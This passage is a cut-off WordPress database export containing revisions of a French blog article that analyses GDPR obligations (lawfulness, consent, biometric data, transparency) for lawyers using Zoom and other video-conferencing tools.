&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bit.ly/2yoXVIG\">Ta</a><a href=\"https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\">bleau Comparatif NOYB</a><a href=\"https://bit.ly/2yoXVIG\">  -  Pour la version avec liens actifs,  </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autre <a href=\"https://bit.ly/2wLRJKs\">tableau comparatif produit par l\'Autorité de protection des données</a> <a href=\"https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf\">Hollandaise</a> traduit par<a href=\"https://twitter.com/PiracyByDesign\"> Christopher SCHMIDT Data Privacy Specialist • Magister of Law CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>CONTINUEZ A MAINTENIR L\'ALERTE EN SUIVANT LE COMPTE <a href=\"http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465\">PEARLTREES</a> SUR LEQUEL SONT REGROUPÉS LES DERNIERES NEWS ET ARTICLE SUR CE SUJET.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Si vous teniez malgré tout à continuer à utiliser cette application, voici des conseils sur comment utiliser Zoom avec plus de sécurité :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Zoom Visio-conférence Pour Les Juristes','Il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.','inherit','closed','closed','','601-revision-v1','','','2020-04-17 18:21:35','2020-04-17 17:21:35','',601,'https://datarainbow.eu/2020/04/17/601-revision-v1/',0,'revision','',0),(682,5,'2020-04-17 18:45:50','2020-04-17 17:45:50','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application de la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable. Les données précédemment notamment de santé, répertoriées comme des données ‘sensibles’, sont désormais des données de catégorie spéciale <strong>art. 9</strong> <strong>[_<a rel=\"noreferrer noopener\" href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données doivent être collectées doivent répondre aux exigences de licéité énumérées à <strong>l’art. 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Les données à caractère personnel\ndoivent être :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Le\nresponsable du traitement est responsable du respect du paragraphe 1 et est en\nmesure de démontrer que celui-ci est respecté (<strong>responsabilité</strong>).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout traitement de données doit répondre à une finalité légitime telle qu’énumérée à l’<strong>art. 6 [_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le traitement pourra être, soit considéré comme relevant d’un intérêt légitime – avec nécessité de procéder aux tests en trois parties – soit une demande de consentement préalable sera indispensable. Le motif de traitement devra être consigné par le contrôleur le cas échéant sur son registre des traitements <strong>art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy notice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché à tout moment avec le risque d’invalider la licéité de tout enregistrement conservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’art. 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre, spécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte, par une déclaration ou par un <strong>acte positif clair</strong>, que des données à caractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence lorsque les données sont collectées avec précision de l’enregistrement ou toutes diffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots) des meetings. Rappelons que, s’agissant de données biométriques capables d\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci concerne les données des participants et de toutes autres données personnelles traitées lors de la visio-conférence <strong>art. 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] -</strong> les consentements devront être répertoriés au registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des données des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph 